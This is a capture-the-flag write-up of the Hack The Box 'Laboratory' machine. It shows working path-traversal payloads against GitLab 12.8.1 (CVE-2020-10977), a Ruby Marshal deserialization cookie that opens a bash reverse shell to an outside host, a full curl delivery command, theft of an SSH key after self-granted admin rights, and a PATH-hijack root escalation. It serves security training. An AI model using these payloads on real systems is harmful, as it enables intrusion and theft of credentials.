Hack The Box - Laboratory

February 11, 2023

Laboratory

Laboratory is a Linux machine with a GitLab web application running in a docker container. Exploiting an arbitrary file read vulnerability can be leveraged to get remote code execution. Once a shell is obtained, setting the admin permissions of a newly created user can be used to get access to another admin user's private repo which contains an SSH key. Privileges can then be escalated by exploiting an SUID binary resulting in root level access.

nmap scan:

nmap scan

Open ports:

  • 22 (SSH)
  • 80 (HTTP)
  • 443 (HTTPS)

HTTP redirected to HTTPS laboratory.htb and another hostname was listed with the domain git.laboratory.htb. So I added both of those domains to the /etc/hosts file.

Webpage at laboratory.htb:

browse IP

laboratory.htb didn't seem to show anything that useful, so next I visited git.laboratory.htb which led to a sign in page for GitLab.

git.laboratory.htb

When I tried to register with the email of mike@test.com, it threw an error saying that the email domain is not authorized for sign-up.

register error

Using an email with the domain of @laboratory.htb solved the issue.

register

Logging in brought up the home page for the GitLab instance.

successful sign-up

Viewing the explore projects page showed a project titled SecureWebsite.

explore projects

The code for this project was the website running on laboratory.htb.

explore project details

The creator of this project was Dexter McPherson with the user name dexter.

dexter gitlab profile

Viewing the help page showed the GitLab version.

gitlab version

Searching for any vulnerabilities for GitLab version 12.8.1 brought up CVE-2020-10977 which states that this version of GitLab is vulnerable to a path traversal when moving an issue between projects, this means that with the right payload an arbitrary file read can occur.

This exploitation report on hackerone provides the steps for the arbitrary file read.

Create two new projects.

create projects

Then, create a new issue in project-1 with the following description which is a directory traversal payload that pulls and copies an arbitrary file once it is moved to another project:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

add issue 1

Next, move the issue into project-2.

move issue 1

The passwd file is now linked within project-2.

moving issue 1 shows passwd file

I downloaded the passwd file:

view passwd file

The passwd file didn't have anything that useful, but as stated in the hackerone report mentioned above, the arbitrary file read vulnerability can be used to get RCE by getting the secret_key_base from /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml and using the experimentation_subject_id cookie with a Marshalled payload.

To get the secret key, I created a new issue with the following description:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

add issue 2

Then, I moved this issue to another project.

move issue 2

And the secrets.yml file was linked.

moving issue 2 shows secrets file

Viewing secrets.yml showed the secret key.

view secrets file

I needed to create an instance of GitLab on my machine to build the serialized object with the same secret_key_base as the git.laboratory.htb instance in order to run the deserialization attack.

The PortSwigger article here goes into more detail on deserialization.

So first I used docker to pull version 12.8.1 of GitLab.

docker pull gitlab

I ran the docker container:

docker run gitlab

Confirmed the container was running:

docker ps

Started a shell in the docker container:

docker exec

Then, I edited the secrets.yml file of this docker container located at /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml to use the secret key found earlier from git.laboratory.htb.

change secret key in secrets.yml

Restarted GitLab:

gitlab ctl restart

Started the ruby console:

gitlab rails console

Next, I ran the following Ruby code in the console which creates a cookie with a serialized payload. When the cookie is sent to the server, it will deserialize it with Ruby's Marshal module and also cause DeprecatedInstanceVariableProxy to be deserialized which will in turn execute the bash command that sends a reverse shell:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.14.62/5555 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]

Copied the cookie:

cookie

Started a listener with nc:

netcat

Sent the cookie to https://git.laboratory.htb/users/sign_in

curl -vvv 'https://git.laboratory.htb/users/sign_in' -k -b
"experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidSNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjYyLzU1NTUgMD4mMSdgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--a9e4579d00c262e6d684e38e6621e62053717cdc"

send payload

Obtained a shell:

reverse shell

Seeing .dockerenv after running ls -la / showed that I was in a docker container.

ls -la

I started the rails console to do some further enumeration on the GitLab instance.

gitlab-rails console

Running User.active showed the users for The Laboratory and User.admins showed the users with admin permissions. The user that I created (mike with an id of 5) didn't have admin access.

gitlab finding users

So I set my user account to admin with the following commands:

u = User.find(5)

u.admin = true

u.save!

Back on GitLab, I now had access to the admin area.

admin area

With admin access, I was able to view an additional project called SecureDocker

admin area projects

secure docker project

The project contained a private SSH key in /securedocker/dexter/.ssh/id_rsa

securedocker id_rsa

I copied the SSH key into a file called dexter.key, and then logged in:

ssh login

This is where user.txt can be found.

Next, I checked SUID binaries to see if any can be exploited for privilege escalation:

find SUID bit set file /usr/local/bin/docker-security

/usr/local/bin/docker-security was owned by dexter and also in the /local directory which was unusual.

So I ran ltrace and found that it executes chmod using a relative path. When a file doesn't use absolute paths, it will rely on the PATH variable to execute binaries. This can therefore be leveraged to execute arbitrary commands by creating a custom chmod file within a writable directory, then adding that directory to the beginning of the PATH variable, and in this case, chmod will contain a bash command that spawns a shell as root.

ltrace docker-security

I created a new script called chmod with the following bash command:

#!/bin/bash

bash

Made it executable:

chmod

Then, I added the current working directory to the path so that when the chmod file gets executed, it will pull it from /home/dexter

export PATH=$(pwd):$PATH

add to path

When I ran /usr/local/bin/docker-security, it executed the custom chmod file and spawned a root shell.

find root flag


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS